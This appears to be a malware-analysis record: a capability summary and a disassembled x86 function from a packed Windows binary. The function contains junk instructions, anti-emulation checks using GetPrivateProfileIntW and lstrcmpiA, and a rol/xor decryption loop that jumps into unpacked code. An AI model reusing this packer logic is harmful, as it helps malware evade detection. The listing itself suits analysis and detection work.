Function at 0x4024d8
Capabilities:
Authenticate hmac
Packed with generic packer
Read .ini file
Set environment variable

Disassembly:
mov esp, ebp
pop ebp
ret
adc ebx, dword [0x4060c0]
sub edi, edi
mov edx, dword [esp]
add edx, 0xfffffff8
mov ecx, dword [esp]
add ecx, 0x29
and dword [0x406065], ecx
lea ecx, [0x406b30]
push dword [ecx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
adc ebx, esi
add byte [0x4060f8], ah
xor dword [0x40600a], ebx
xor dword [0x4061c3], ebx
sub dword [0x406126], ebx
add dword [0x406110], eax
mov ecx, 0x401c86
call ecx
adc dword [0x40606e], esi
adc dword [0x406073], 0xbb
or edi, 0x1c
sub byte [0x40617a], 0x5f
add dword [0x406136], ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esi, dword [0x40610a]
xor eax, 0x78
add esi, eax
add dword [0x4060f6], edi
sbb dword [0x4060fc], 0x6d
lea edi, [0x406b30]
push dword [edi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov dword [0x406147], 0xe1
add ah, 0x6a
adc eax, dword [0x406155]
mov ecx, dword [esp]
add ecx, 0x1a
adc edi, dword [0x40614e]
mov ecx, section..text
call ecx
sbb esi, ebx
xor dword [0x40618f], 0xbe
add eax, 0x64
adc dword [0x40616f], 0x45
add dword [0x4060ee], ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dl
add eax, 0x4061ab
xor edi, eax
add edi, 0x46
adc al, 0xc9
adc eax, dword [0x40617c]
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc dword [0x406132], 0x62
adc dword [0x4061b1], ebx
or dword [0x406023], 0x9d
sbb dword [0x4061a3], ebx
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sbb dword [0x4061d6], 0xc2
mov dword [0x406168], 0xea
sub dword [0x40615f], edi
or dword [0x4061d7], edi
adc ebx, dword [0x406015]
mov edx, dword [esp]
add edx, 0xffffffdd
mov edx, 0x401195
call edx
sub edi, esi
sub byte [0x4060cc], 0x81
sub ebx, 0xffffffa0
xor dword [0x406104], esi
and ebx, 0xffffff9f
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0xdfedbec], cl
mov dword [0x40610a], 0xb
sub byte [0x406014], 0xd4
adc bl, 0x18
sbb dword [0x40619a], edx
mov ecx, dword [esp]
adc ecx, dword [0x4061a1]
lea esi, [0x406b30]
push dword [esi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
adc esi, dword [0x4060e6]
adc edi, dword [0x4061ac]
or ebx, 0xffffff8e
mov ecx, dword [esp]
add ecx, 0xffffffe7
lea edi, [0x406b30]
push dword [edi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
sub byte [0x4061c0], 0xa2
sbb eax, ebx
sub bh, 0x2d
or dword [0x4061b2], esi
mov ecx, dword [esp]
adc ecx, dword [0x406119]
adc dword [0x4061f3], 0x14
mov edx, section..text
call edx
adc ebx, dword [0x406075]
sbb dword [0x4061d7], edi
xor dword [0x406054], 0xee
sbb edi, ebx
or dword [0x4061b9], edi
add byte [ecx], bl
inc byte [ebx + 0x2583b0d8]
stosb byte es:[edi], al
pushal
inc eax
add byte [ebp + 0xb], ch
xor eax, 0x40612e
or dword [0x406021], 0xb2
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor eax, 0x43
sbb dword [0x406183], 0x73
and dword [0x40617e], 0x25
xor dword [0x406085], eax
adc esi, dword [0x406097]
lea edx, [0x406b30]
push dword [edx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
xor dword [0x406051], eax
adc ebx, eax
xor eax, edi
adc esi, edi
mov edi, 0x402575
call edi
add edi, 0xfffffffb
adc dword [0x406177], 0xbd
mov ecx, dword [esp]
adc ecx, dword [0x4061fb]
xor ecx, ecx
add byte [eax], al
add byte [ebx], dl
xor eax, 0x4061ed
xor eax, eax
adc eax, ebx
and dword [0x40605f], edi
or ebx, dword [0x4061aa]
or dword [0x406064], 0xf8
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
or dword [0x4061ee], 0x4c
mov edx, dword [esp]
add edx, esi
and byte [0x40616d], bl
xor edx, 0xffffff9c
mov eax, 0x401847
call eax
and dword [0x4060e0], 0xa1
mov ecx, dword [esp]
adc ecx, dword [0x406086]
sub esi, 0xffffffd1
adc ecx, dword [0x4061f5]
xor dword [0x406081], edx
adc edx, dword [0x406147]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc eax, dword [0x406183]
mov ecx, dword [esp]
adc ecx, dword [0x4060e5]
mov edx, dword [esp]
add edx, 0xffffff86
adc eax, dword [0x40603a]
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc dword [0x40608d], 0xe2
mov edx, dword [esp]
adc edx, dword [0x40616d]
adc edx, dword [0x4060cb]
add edi, edx
mov ch, byte [esp]
add ch, 0x79
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x401004
mov ecx, dword [esp]
add ecx, esi
or ah, 0xdd
and dword [0x406159], eax
or edi, dword [0x4061ef]
mov edx, dword [esp]
add edx, esi
adc bl, ch
mov esi, 0x4012bb
call esi
xor ecx, 0xffffff85
adc edi, dword [0x40603d]
or dword [0x40615a], 0x15
adc eax, 0x72
add esi, 0x57
adc ecx, dword [0x40604f]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp]
add ecx, ebx
add edi, ebx
mov edx, dword [esp]
adc edx, dword [0x406058]
adc dword [0x4061ca], eax
xor dword [0x4060a1], edx
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
jne section..text
xor edi, edi
add edi, 0xffffff93
mov ecx, dword [esp]
add ecx, ebx
xor ebx, 0xffffff91
sub byte [0x4061c7], al
adc byte [0x406003], al
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne section..text
mov edx, dword [esp]
adc edx, dword [0x406119]
sub dword [0x4060c0], ebx
mov ecx, dword [esp]
add ecx, edx
adc dword [0x406068], 0x8d
xor ecx, esi
mov ebx, section..text
call ebx
xor ah, ch
sbb byte [0x4061ad], dl
sub byte [0x40619b], 0x76
adc ebx, dword [0x406001]
adc dword [0x406192], eax
add byte [ebx], ch
xor eax, 0x406165
adc esi, 0xffffffc5
mov dword [0x406194], 0x4b
or dword [0x40619b], esi
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x40151b
mov dh, byte [esp]
add dh, al
adc edi, dword [0x406093]
add eax, eax
mov cl, byte [esp]
add cl, 0xa6
mov dword [0x40609e], 0xa0
adc edi, dword [0x4061b7]
mov eax, 0x40133a
call eax
add byte [0x4060a5], ch
xor eax, 0x41
sub byte [0x40604e], cl
sub dl, cl
sub ecx, dword [0x406143]
or dword [0x4061eb], 0
add byte [eax], ah
sbb eax, 0x4060dd
and byte [0x4060dd], bl
sub ebx, dword [0x406138]
or eax, dword [0x406082]
add dword [0x406048], esi
add edi, ebx
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x402c8f
adc edi, ebx
xor dword [0x4061e2], eax
xor dword [0x406119], 0xed
adc ebx, dword [0x406141]
mov ecx, dword [esp]
add ecx, ebx
sbb dword [0x406163], ebx
mov edi, 0x402c8f
call edi
add dword [0x406059], esi
adc dword [0x406136], 0x8f
add dword [0x40612f], ebx
sub byte [0x40602c], 0xdd
add byte [ecx], ch
sti
sub ebx, edi
xor ebx, 0x5d
or esi, dword [0x406140]
adc esi, dword [0x4060b8]
adc esi, edi
and dword [0x4060e8], 0xf6
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
or dword [0x40601c], 0xb5
and dword [0x406129], 0xf7
adc bh, 0x6b
mov dl, byte [esp]
add dl, al
add dword [0x40601e], ebx
mov ecx, dword [esp]
add ecx, 0
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x40199f
sbb eax, esi
mov dl, byte [esp]
add dl, bh
xor esi, ebx
mov ecx, dword [esp]
add ecx, ebx
or edx, dword [0x4060d7]
mov ebx, 0x40199f
call ebx
mov dword [0x40617c], 0x99
sbb eax, edi
xor edx, 0x19
adc ecx, 0x5c
add byte [eax], al
add byte [eax], al
add byte [eax], al
or dword [0x4060d8], 0xb1
or edi, dword [0x4060a5]
sub byte [0x406089], 0xbc
sub ebx, eax
adc dword [0x406048], 0x54
xor dword [0x406122], 0xa0
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
or dword [0x406010], eax
mov ecx, dword [esp]
add ecx, edi
and dword [0x4061e9], esi
sbb bh, 0xcf
sbb eax, 0xffffff9e
mov ebx, 0x4026f6
call ebx
adc dword [0x406136], ecx
or eax, dword [0x406006]
adc esi, ecx
and edi, 0xffffffa7
sub edi, dword [0x40608e]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
cmp eax, 0x406106
adc byte [0x406106], bh
or dword [0x406163], ebx
mov dword [0x40614f], 0xfb
adc esi, 0x48
mov ecx, dword [esp]
add ecx, eax
add dword [0x406174], esi
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
add dword [0x4060b0], esi
and dword [0x4060c8], 0x6d
add edi, 0x41
mov edx, dword [esp]
add edx, eax
sub esi, 0x7c
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x402b67
or dword [0x40603f], 0xa9
sub esi, ebx
sub eax, esi
xor esi, edi
adc dword [0x406132], eax
mov ecx, dword [esp]
add ecx, 0xffffffa5
mov ecx, 0x402b67
call ecx
or dword [0x4061dc], 0xd3
sbb eax, edi
sbb dword [0x4060d7], 7
xor edi, 0xe
or eax, dword [0x4061c4]
adc dword [0x4061d4], 0x8b
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp]
add ecx, 0x46
sub dword [0x4060c4], ebx
mov edx, dword [esp]
adc edx, dword [0x4061ce]
adc dword [0x4060e1], eax
adc dword [0x40602d], 0xcb
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov edx, dword [esp]
add edx, 0x14
adc dword [0x4060ea], 0x20
or dword [0x4061dd], 0x62
add edi, 0x1f
sub edx, dword [0x406168]
xor dword [0x406072], 1
mov ebx, 0x401c19
call ebx
adc esi, 0xfffffff0
add edx, edx
sub dword [0x406178], edx
adc edx, dword [0x406132]
adc eax, dword [0x406174]
sub ebx, edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov ecx, dword [esp]
add ecx, edi
xor dword [0x406099], esi
adc edi, dword [0x406021]
mov edx, dword [esp]
adc edx, dword [0x406070]
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
add dword [0x40617e], edi
and dword [0x40600a], esi
or dword [0x4061c5], ebx
or edi, 0x31
mov edx, section..text
call edx
sbb byte [0x406180], bl
or dword [0x4060e2], edi
mov edx, dword [esp]
add edx, edi
sbb edx, ebx
add byte [eax], al
add byte [eax], al
add byte [ecx], cl
add eax, 0x40611f
xor byte [0x4061ec], bl
adc dword [0x4061e0], 0xf4
sbb edi, eax
mov ecx, dword [esp]
add ecx, eax
adc al, 0x35
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x401b92
add esi, edi
or ebx, 0x1f
mov ecx, dword [esp]
add ecx, 0x55
sbb dword [0x4060cd], 0x5b
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x401b92
mov dword [0x40612f], 0x60
adc bh, byte [0x4061ce]
adc dword [0x406088], 0xfd
or al, 0xa6
add dword [0x4060ae], edi
xor dword [0x4060c8], ebx
mov ecx, 0x402071
call ecx
xor dword [0x406059], 0x26
add edi, edi
add ebx, 8
mov edx, dword [esp]
adc edx, dword [0x406151]
add edi, 0x66
add byte [0x40609c], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or dword [0x40611a], 0x2d
add bh, bh
adc dword [0x406114], 0x66
mov edx, dword [esp]
add edx, eax
add dword [0x406196], eax
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x40176b
add esi, 0xffffffbb
adc byte [0x4061af], bh
or dword [0x406133], 0xdc
add ebx, 0xffffff9e
adc eax, 0xffffff90
sub dword [0x406131], edi
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
mov ecx, dword [esp]
add ecx, eax
add esi, eax
and esi, 0x5d
adc ebx, dword [0x406071]
and dword [0x40602a], ebx
adc dword [0x40611d], esi
mov esi, 0x401236
call esi
adc dword [0x406093], 0x37
and ecx, 0xffffffc9
add eax, 0xffffffe4
sbb ah, 0xb7
xor dword [0x406172], ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x5fedbec], cl
mov edx, dword [esp]
add edx, edi
or dword [0x406184], 0xe3
adc ah, byte [0x4060ae]
adc edi, 0x52
or dword [0x406111], 0x29
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne section..text
or dword [0x40616e], eax
adc dword [0x4061f6], 0xce
add esi, edi
mov ecx, dword [esp]
add ecx, ebx
adc esi, ecx
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne section..text
adc dword [0x4060d1], 0x15
and dword [0x40603a], 0x88
and bh, 0x5f
sub byte [0x406163], 0xc9
mov ecx, dword [esp]
adc ecx, dword [0x406049]
mov ebx, section..text
call ebx
adc cl, byte [0x40610e]
sbb ecx, 0xb
sub ebx, ebx
sbb dword [0x40617c], esi
adc eax, dword [0x40619e]
mov dword [0x406178], 0xea
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
sbb eax, 0x406070
sub dword [0x406070], ebx
and dword [0x40616d], ebx
or eax, dword [0x4060b7]
or al, byte [0x406034]
adc esi, dword [0x4061b2]
add dword [0x40613a], ebx
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne section..text
or bh, byte [0x406090]
sbb esi, 0x5f
add ah, bl
add esi, eax
mov edx, dword [esp]
add edx, ebx
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
jne section..text
or dword [0x4060ed], ebx
mov ecx, dword [esp]
add ecx, 0xffffff97
sub ebx, dword [0x4060ac]
mov edx, dword [esp]
add edx, 0xffffff90
or byte [0x4060a7], al
mov edi, section..text
call edi
xor eax, 0xa
xor ecx, edi
mov dword [0x406052], 0x2f
sbb dword [0x406194], 0x3b
or edi, 0xffffffd3
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x4061d72d], al
add byte [ecx], ah
mov ecx, dword [esp]
add ecx, edi
sbb edi, 0x62
adc dword [0x40618a], 0xa0
or esi, dword [0x406190]
sbb dword [0x4060b1], ecx
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x401083
adc ah, byte [0x406076]
mov edx, dword [esp]
add edx, edi
adc edi, edi
and dword [0x4061c1], 0x26
mov esi, 0x401083
call esi
or edx, dword [0x4061b9]
sub byte [0x406161], 0xfd
adc edi, edi
adc al, byte [0x406184]
or eax, dword [0x40615f]
or dword [0x406005], eax
add byte [ecx], al
add eax, 0x406130
add dword [0x406130], eax
add byte [0x4060d8], bh
adc al, byte [0x4060a9]
and dword [0x40605a], ebx
adc bh, byte [0x406057]
xor dword [0x4060e1], 0x75
push str.arduymsuqwilrh
push 0
push str.chotuvcviznmfdtu
push str.iiebrdhm
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x40159c
xor dword [0x406165], 0x14
adc dword [0x4061e7], esi
mov ecx, dword [esp]
add ecx, 0x72
add edi, 0x2d
sub ebx, dword [0x4061a0]
mov eax, 0x40159c
call eax
adc edi, dword [0x406144]
xor edi, ebx
mov edx, dword [esp]
adc edx, dword [0x406093]
sbb ecx, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add eax, edi
sub esi, edi
mov ecx, dword [esp]
add ecx, 0xffffff93
or ecx, dword [0x406043]
lea ebx, [0x406b30]
push dword [ebx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
add dword [0x406098], edi
xor dword [0x4060bf], 3
and dword [0x40600d], edi
sbb edi, eax
add eax, 0xffffff86
mov ebx, 0x4017ee
call ebx
add ebx, esi
or dword [0x40612f], ebx
sbb eax, eax
adc bh, byte [0x4060f8]
or dword [0x4060d7], 0x17
sbb dword [0x4060cd], 0xfa
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
add eax, 0x4061dd
adc dword [0x406191], 6
and dword [0x40605f], edi
sub ebx, 0xffffffc6
add dword [0x40603e], edi
add dword [0x406162], eax
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
add dword [0x40616a], edi
mov edx, dword [esp]
add edx, 0xffffff9e
xor dword [0x4060a1], 0xa
sub dh, byte [0x40614d]
sub edx, dword [0x406080]
mov ecx, section..text
call ecx
adc dword [0x4060e0], edi
sub edx, dword [0x406058]
sub bl, dl
or dl, byte [0x4060c2]
adc ebx, dword [0x4060ce]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [0x4060db], eax
and dword [0x4060ad], ebx
xor eax, 0xffffffd5
xor dword [0x406181], 0x10
or byte [0x40613c], bh
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne section..text
mov ch, byte [esp]
add ch, ah
or byte [0x4061a1], cl
adc edi, dword [0x406192]
sbb dword [0x406058], 0xff
sub ah, byte [0x406045]
lea edi, [0x406b30]
push dword [edi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov dword [0x4061e2], 2
sub edi, dword [0x4061ba]
sbb eax, 0x63
adc esi, dword [0x4061c9]
sbb dword [0x406091], 0x99
mov edi, section..text
call edi
mov ecx, dword [esp]
add ecx, ebx
adc ecx, dword [0x406185]
adc dword [0x406133], 0xab
add eax, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x15132414], cl
jae 0x401e22
mov edx, dword [esp]
adc edx, dword [0x406173]
xor dword [0x4061c9], 0x54
adc dword [0x406069], 0x4e
sbb dh, al
inc eax
add byte [ebx + 0x4061c935], al
add byte [ebx + eax*4 + 0x15], dl
imul esp, dword [eax + 0x40], 0xc6184e00
push str.svponirpvmb
push 0x406b34
call dword [sym.imp.kernel32.dll_lstrcmpiA]
cmp eax, 0
jne section..text
mov ecx, dword [esp]
add ecx, eax
adc dword [0x40618b], 0x52
mov edx, dword [esp]
add edx, ebx
add esi, edi
sub esi, dword [0x406079]
xor dl, 0x97
mov edx, section..text
call edx
xor eax, 0x66
sub esi, 0x23
sub dword [0x406014], edx
and dword [0x406031], edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dl
sbb eax, 0x406060
adc dword [0x406060], ebx
sub ah, byte [0x406081]
and dword [0x40614d], 0x99
sub eax, 0xffffffa8
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
or eax, 0x31
xor dword [0x406081], 0xa5
and dword [0x406111], 0xd1
sub al, byte [0x406019]
adc dword [0x406103], 0xe9
add eax, 0x36
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x401d01
sub dword [0x406001], eax
adc ah, 0x3c
and dword [0x406064], 0x98
add ebx, 0xffffff8d
mov esi, 0x401d01
call esi
sub byte [0x4060ce], 0x37
adc edi, ebx
mov edx, dword [esp]
adc edx, dword [0x406179]
or dword [0x4060e1], 0x82
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esi, dword [0x40604e]
adc dword [0x406167], 7
adc ebx, dword [0x40613d]
adc ebx, dword [0x406071]
mov ecx, dword [esp]
add ecx, esi
or bh, byte [0x406193]
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor bl, ah
sub byte [0x406040], 0xad
add dword [0x40601d], esi
mov ecx, dword [esp]
adc ecx, dword [0x40612b]
sbb edi, ebx
mov edi, 0x402431
call edi
adc dword [0x406185], 0x47
sub dword [0x4061c2], eax
sub byte [0x4061a6], 0x76
sub ebx, dword [0x4060e3]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub byte [0x4061e4], 0xe
xor dword [0x4060d5], 0x30
sub edi, esi
adc bl, byte [0x4061ac]
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor dword [0x406053], 0x6d
and dword [0x4060ee], 0x6b
mov edx, dword [esp]
adc edx, dword [0x406083]
sbb dword [0x4060a3], edi
xor dword [0x4061cd], eax
mov ecx, dword [esp]
add ecx, 0xffffffd1
mov ecx, 0x4013ed
call ecx
or dword [0x4060b7], eax
add dl, 0x73
sbb dword [0x406184], 0xe9
and dword [0x40608f], 0xd8
add byte [eax], al
add byte [eax], al
or ah, byte [0x406147]
sub edi, esi
mov ecx, dword [esp]
add ecx, edi
sub dword [0x4060cd], edi
adc ecx, dword [0x40615d]
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x401e29
adc esi, dword [0x4060c9]
adc eax, dword [0x406097]
sub dword [0x4061f6], edi
sbb dword [0x4061f5], 0x34
mov dh, byte [esp]
add dh, 0x5f
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
and dword [0x4061f5], esi
mov edx, dword [esp]
adc edx, dword [0x4061e9]
or edi, dword [0x40608a]
sub byte [0x40602f], 0x84
mov ebx, 0x401902
call ebx
sbb edi, 0xffffff8b
sbb eax, ebx
sub edx, 0x5e
sbb esi, ebx
add edi, edi
xor dword [0x4060cd], 0xb6
add byte [eax], al
and dword [0x406095], 0xc
add dword [0x4060e5], esi
adc edi, dword [0x4061e4]
add edi, 0x22
mov edx, dword [esp]
adc edx, dword [0x4061a3]
push 0x406b88
call dword [sym.imp.kernel32.dll_GetSystemTime]
adc ebx, dword [0x40616e]
adc dword [0x406003], eax
adc esi, dword [0x4060d1]
and dword [0x406019], ebx
mov esi, 0x402137
call esi
and dword [0x4061d4], 0x85
add dword [0x406196], eax
adc ebx, dword [0x406050]
sub edi, edi
add byte [eax], al
sub dword [0x406154], edi
add dword [0x4060d1], ebx
or eax, dword [0x4060c3]
sub dword [0x406015], esi
add esi, ebx
push str.pvtijnlnzjfcivlzb
push str.fghijjfz
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov edx, dword [esp]
add edx, edi
sub dword [0x4060cd], edi
xor esi, 5
sub esi, eax
adc dword [0x406060], 0x23
add edx, eax
mov edi, 0x40279b
call edi
xor dword [0x40609d], 0x7d
xor dword [0x406006], 3
and eax, 0x34
mov cl, byte [esp]
add cl, 0xee
add byte [eax], al
sbb ebx, esi
or dword [0x4061a3], eax
adc bh, byte [0x406067]
xor dword [0x406123], 0x62
xor edi, ebx
xor dword [0x406035], 0xe0
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x40264b
sub dword [0x40604f], eax
or dword [0x4060c8], edi
and dword [0x4060a1], ebx
add edi, edi
sub byte [0x406156], 0x58
push str.qbanjygqwxuw
push 0
push str.uajqhunt
push str.xaawcagylu
call dword [sym.imp.kernel32.dll_GetPrivateProfileIntW]
cmp eax, 0
jne 0x40264b
adc bl, byte [0x4061ef]
adc edi, dword [0x406061]
mov dword [0x40606d], 0x4a
add ebx, edi
mov edx, dword [esp]
add edx, 0xffffff9d
mov ebx, 0x4020d4
call ebx
or dl, byte [0x4060ec]
sub eax, edi
mov cl, byte [esp]
add cl, al
adc ebx, dword [0x406148]
adc ebx, dword [0x406113]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor ecx, ecx
sub ecx, 0xe6f4200
neg ecx
push 0xffffffffffffffff
pop ebx
and ebx, 0x40643a
push ecx
mov esi, 0xd98
shl esi, 1
push esi
mov edx, 0xd98
shl edx, 1
push edx
mov edx, 0x1b30
shl edx, 1
push edx
call dword [0x406b11]
pop ecx
test eax, eax
je section..text
push eax
pop edx
push 0x6cc
pop eax
push edx
cmp eax, 0
je 0x4023da
adc esi, dword [0x406168]
mov dword [0x40618d], 0x2e
adc esi, dword [0x4060a7]
xor esi, esi
push 0xffffffffffffffff
pop edi
and edi, dword [ebx]
adc esi, dword [0x406014]
add dword [0x406142], esi
add esi, esi
sbb dword [0x406007], esi
xor dword [0x4061e2], esi
clc
adc ebx, 4
adc esi, dword [0x4061ac]
and dword [0x406014], esi
adc dword [0x40611b], 0x27
adc esi, dword [0x40619e]
xor esi, esi
not edi
adc dword [0x40611e], esi
add dword [0x406184], esi
sub esi, esi
add dword [0x4061ee], esi
clc
sbb edi, 0xfffffffe
sbb esi, 0xffffffd0
add dword [0x406058], esi
or dword [0x406086], esi
sub byte [0x406076], 0x4d
sbb esi, 0xffffffe2
xor dword [0x406154], 0x59
ror edi, 8
add esi, 0x18
sbb esi, esi
or esi, 0x2a
sub dword [0x406027], esi
xor edi, ecx
adc esi, dword [0x40609e]
adc dword [0x406160], 0xca
xor esi, esi
sbb esi, esi
add esi, 0xfffffffe
lea edi, [edi - 1]
sub dword [0x406113], esi
adc esi, dword [0x40602c]
xor dword [0x406057], esi
adc esi, dword [0x4061e3]
sbb dword [0x406016], esi
push edi
pop ecx
adc dword [0x4060eb], 0xeb
adc dword [0x40601e], 0xdd
sub byte [0x406070], 0xbb
add esi, 0xfffffff7
rol ecx, 3
adc esi, dword [0x40601c]
adc esi, dword [0x4060c4]
sub esi, dword [0x406075]
add esi, esi
adc esi, 0x18
and dword [0x4061fb], 0x7f
rol ecx, 5
adc esi, 0xffffffeb
sub esi, 0xffffffb6
sub esi, dword [0x40619d]
sub esi, 0xffffffce
or dword [0x40602f], 0x3c
adc esi, dword [0x40604d]
push edi
pop dword [edx]
xor esi, 0xffffff8b
add esi, esi
adc dword [0x4060c6], 4
xor esi, esi
adc esi, dword [0x4061ed]
sub esi, dword [0x406072]
add edx, 4
adc esi, esi
add esi, 0x5c
add esi, esi
adc esi, esi
xor dword [0x406063], esi
adc esi, dword [0x40601f]
clc
adc eax, 0xfffffffc
adc esi, dword [0x40606e]
adc esi, dword [0x4061c9]
sub esi, dword [0x40610d]
adc dword [0x406145], 0x63
push 0x40223e
ret
pop edx
mov edi, dword [0x406436]
push edi
and dword [0x406083], ecx
add dword [0x4060df], esi
or dword [0x40619e], 0xb8
sbb edi, ecx
push 0x4021fa
adc dword [0x40609c], 0x32
add dword [0x406196], eax
mov dword [0x40601a], 0x32
sub dword [0x4061c0], esi
adc dword [0x4060c8], 0x2b
jmp edx
push ebp
mov ebp, esp
sub esp, 0x58
mov esi, dword [esp]
add esi, 0xffffffa5
xor esi, esi
mov eax, dword [esp]
adc eax, dword [0x406118]
sbb dword [0x40613c], 0x3a
mov edi, dword [esp]
add edi, 0xfffffffe
sbb dword [0x40613f], edi
mov edx, dword [esp]
adc edx, dword [0x4060fa]
mov ecx, dword [esp]
add ecx, 0xffffffed
sub dword [0x40610e], edx
mov ebx, dword [esp]
adc ebx, dword [0x4060f1]
sbb ebx, esi
lea esi, [0x406b30]
push dword [esi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov edx, dword [esp]
adc edx, dword [section..data]
adc dword [0x406115], 0xb7
add eax, 0xffffff9b
